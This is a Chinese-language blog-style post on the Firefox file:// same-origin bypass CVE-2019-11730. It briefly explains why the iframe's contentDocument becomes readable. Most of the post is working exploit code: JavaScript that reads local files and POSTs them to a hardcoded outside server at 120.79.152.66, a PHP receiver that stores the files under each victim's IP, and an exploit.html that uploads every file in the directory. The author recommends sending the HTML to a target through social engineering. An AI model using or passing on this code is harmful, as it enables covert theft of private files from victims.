看起来这么屌,但还是5位CVE?因为只有file://协议打开本地文件才受影响
1、点击某个具体的文件,onload吗??
反正这个触发了我的误区,我原以为load的触发机制是内联的文档加载完就会触发且只有一次,今晚看了下文档发现理解错了
所以说你在操纵内联文本的时候,涉及到的其他资源加载也会触发load
2、在console里打印iframe.contentDocument.body.innerText
为空,点击的话就能获取到,这是为啥?
因为contentDocument受到同源策略的限制,但是click之后相当于触发了那个cve然后同源失效,contentDocument读到了当前目录下的所有文件,之后经过处理后把当前Document里的所有文件都发送到了server
端
社工吧,假如你想获取它某个文件,先写好filename
然后发个html给对面。值得一提,firefox这个sb东西不仅自动更新而且会绑定更新协议,也就是说除非你估计”不更新”浏览器,它才能稳定67版本
<script>
var server_url = "http://120.79.152.66:81/upload.php";
var filename = "./var/www/html/index.php"
var file_reader = new XMLHttpRequest();
// First, read the file contents.
file_reader.open("GET",filename,true);
file_reader.onreadystatechange = function(){
if (this.readyState == 4){
filename = encodeURIComponent(filename);
file_contents = encodeURIComponent(file_reader.responseText);
// Second, upload the file.
var uploader = new XMLHttpRequest();
var post_data = "fname=" + filename + "&contents=" + file_contents;
uploader.open("POST",server_url,true);
uploader.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded; charset=UTF-8');
uploader.send(post_data);
}
};
file_reader.send();
</script>
服务端上个upload
<?php
if (isset($_POST['fname'])){
$fname = basename($_POST['fname']); // name of the uploaded file.
$contents = $_POST['contents']; // contents of the uploaded file.
$ip = $_SERVER['REMOTE_ADDR']; // Victim IP address.
is_dir($ip) || mkdir($ip); // Create a directory for the victim based on his IP address.
file_put_contents("$ip/$fname",$contents); // Save the uploaded file on the server.
die();
}
exploit.html,我把点击劫持的部分去掉了,原poc地址CVE-2019-11730
<html>
<meta content="text/html;charset=utf-8" http-equiv="Content-Type">
<meta content="utf-8" http-equiv="encoding">
<body>
<style>
.check_iframe{
width: 1000;
height: 1000;
position: absolute;
left: 0;
top: 0;
}
</style>
</body>
</html>
<script>
var check_iframe = document.createElement("iframe");
check_iframe.src = "./";
check_iframe.className = "check_iframe";
document.body.append(check_iframe);
check_iframe.onload = function(){
if(check_iframe.contentDocument == null){
console.log("- SOP is not bypassed");
}else{
console.log("+ SOP is bypassed!");
console.log(`Now the src's value is:`+check_iframe.src);
analyze_directory_contents(check_iframe.contentDocument.body.innerText)
}
}
function analyze_directory_contents(parent_directory_contents){
/*
Contents of parent directoet page:
Index of file:///path/to/panret/directory[\n\n]
Up to higher level directory[\n\n]
Name Size Last Modified[\n\n]
filename1.txt[\n\t]3[ KB\t] 11/8/19 6:41:48 AM GMT+3:30[\n\n]
filename2.txt[\n\t]120[ KB\t] 6/6/19 11:44:19 PM GMT+4:30[\n\n]
filename3.txt[\n\t]3043[ KB\t] 6/3/19 7:02:32 PM GMT+4:30[\n\n]
*/
// Extract file names from the contents, call upload_file() function to read and upload them to the attacker.
lines = parent_directory_contents.split("\n\n");
lines.forEach(
function(line){
// Is file and not empty.
if(line.indexOf(" KB\t") != -1){
filename = line.split(" KB\t")[0].split("\n\t")[0].trim();
upload_file(filename);
console.log(`uploading file...${filename}`)
}
}
);
}
function upload_file(filename){
var server_url = "http://120.79.152.66:81/upload.php";
var file_reader = new XMLHttpRequest();
// First, read the file contents.
file_reader.open("GET",filename,true);
file_reader.onreadystatechange = function(){
if (this.readyState == 4){
filename = encodeURIComponent(filename);
file_contents = encodeURIComponent(file_reader.responseText);
// Second, upload the file.
var uploader = new XMLHttpRequest();
var post_data = "fname=" + filename + "&contents=" + file_contents;
uploader.open("POST",server_url,true);
uploader.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded; charset=UTF-8');
uploader.send(post_data);
}
};
file_reader.send();
}
</script>